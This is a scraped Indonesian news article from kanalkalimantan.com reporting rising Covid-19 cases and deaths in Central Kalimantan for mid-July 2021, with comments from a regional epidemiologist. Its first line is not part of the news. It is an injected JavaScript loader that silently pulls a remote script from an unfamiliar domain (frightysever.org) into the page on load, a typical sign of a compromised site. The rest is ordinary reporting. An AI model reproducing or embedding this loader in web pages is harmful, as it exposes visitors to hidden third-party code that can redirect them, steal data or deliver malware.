(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Satgas Covid-19 Kalteng merilis data per tanggal 12-18 Juli terkait status kesehatan masyarakat, ditemui kecenderungan kasus baru minggu ke-72 masa pandemi Covid-19.
“Pertumbuhan kasus baru adalah 1.982 kasus baru, dengan rata-rata harian 283 kasus per hari,” kata Ketua Perhimpunan Ahli Epidemiologi Indonesia (PAEI) Kalteng, Rini Fortina, Kamis (22/7/2021).
Kasus konfirmasi mingguan meningkat 10 persen dari minggu sebelumnya. Pertumbuhan kasus baru tiga minggu terakhir ini di 1.400 -1.900 lebih per minggu.
Kasus baru minggu ini merupakan tertinggi dari seluruh pertumbuhan kasus mingguan selama pandemi. Di sisi lain, peningkatan kasus belum terlihat menurun.
Baca juga: Sejumlah Nakes di Banjarbaru Terpapar Covid-19, Mayoritas OTG dan Gejala Ringan
“Kecepatan pertumbuhan kasus konfirmasi Covid-19 lebih dari kesembuhan merupakan salah satu indikasi semakin buruknya status kesehatan masyarakat,” sebut Rini Fortina.
Jumlah kasus konfirmasi lebih tinggi dari jumlah kesembuhan sebesar 33,8 persen (data sampai 18 Juli 2021).
Pertumbuhan kasus positif konfirmasi sebesar 143,2 persen dibandingkan Juni lalu, dan kesembuhan sebesar 118,7 persen.
Peningkatan jumlah kematian lebih dari sebelumnya merupakan salah satu indikator mulai gagalnya pengendalian kematian.
Penambahan kasus kematian pada Juli ini (data sampai 18 Juli 2021), sebanyak 179 kematian atau 213,1 persen dari Juni lalu.
Penurunan jumlah kematian mingguan berhubungan dengan adanya peningkatan jumlah testing dan tindakan tegas dalam disiplin prokes, serta isolasi kasus dengan gejala ringan.
“Adapun trend kematian minggu ini melonjak 49,5 persen dari minggu lalu, ini merupakan situasi kesehatan yang lebih buruk,” sebut Ketua PAEI Kalteng.
Baca juga: Tolak PPKM Level 4, Polisi Bubar Paksa Aksi Mahasiswa Balikpapan
Laju penularan tertinggi, sebut Rini Fortina, terjadi di Kabupaten Sukamara. Sedangkan angka kematian per 100 ribu tertinggi di Kotawaringin Barat.
Kematian harian cenderung meningkat, sementara itu kesembuhan harian cenderung menurun.
Menurut Rini, dari data di atas, dapat disimpulkan kondisi kesehatan masyarakat minggu ini di Kalteng, tidak terkendali dan tidak aman.
Estimasi resiko terlihat mulai menurun sejak penetapan PPKM ketat mulai berlaku, namun dampak penurunan estimasi baru akan terlihat pada dua minggu yang akan datang.
Untuk itu PAEI merekomendasikan agar masyarakat harus disiplin prokes dan tetap di rumah sampai kondisi kesehatan masyarakat membaik.
Setiap unsur pengendali baik pemerintah, aparat, kesehatan berkoordinasi dan bekerja sama lebih kuat dari sebelumnya, agar kondisi dapat menjadi terkendali dengan cepat.
Selain itu tindakan kedaruratan dilakşanakan untuk antisipasi lonjakan jumlah kasus dan mencegah kematian. (kanalkalimantan.com/tri)
Reporter : tri
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
This website uses cookies.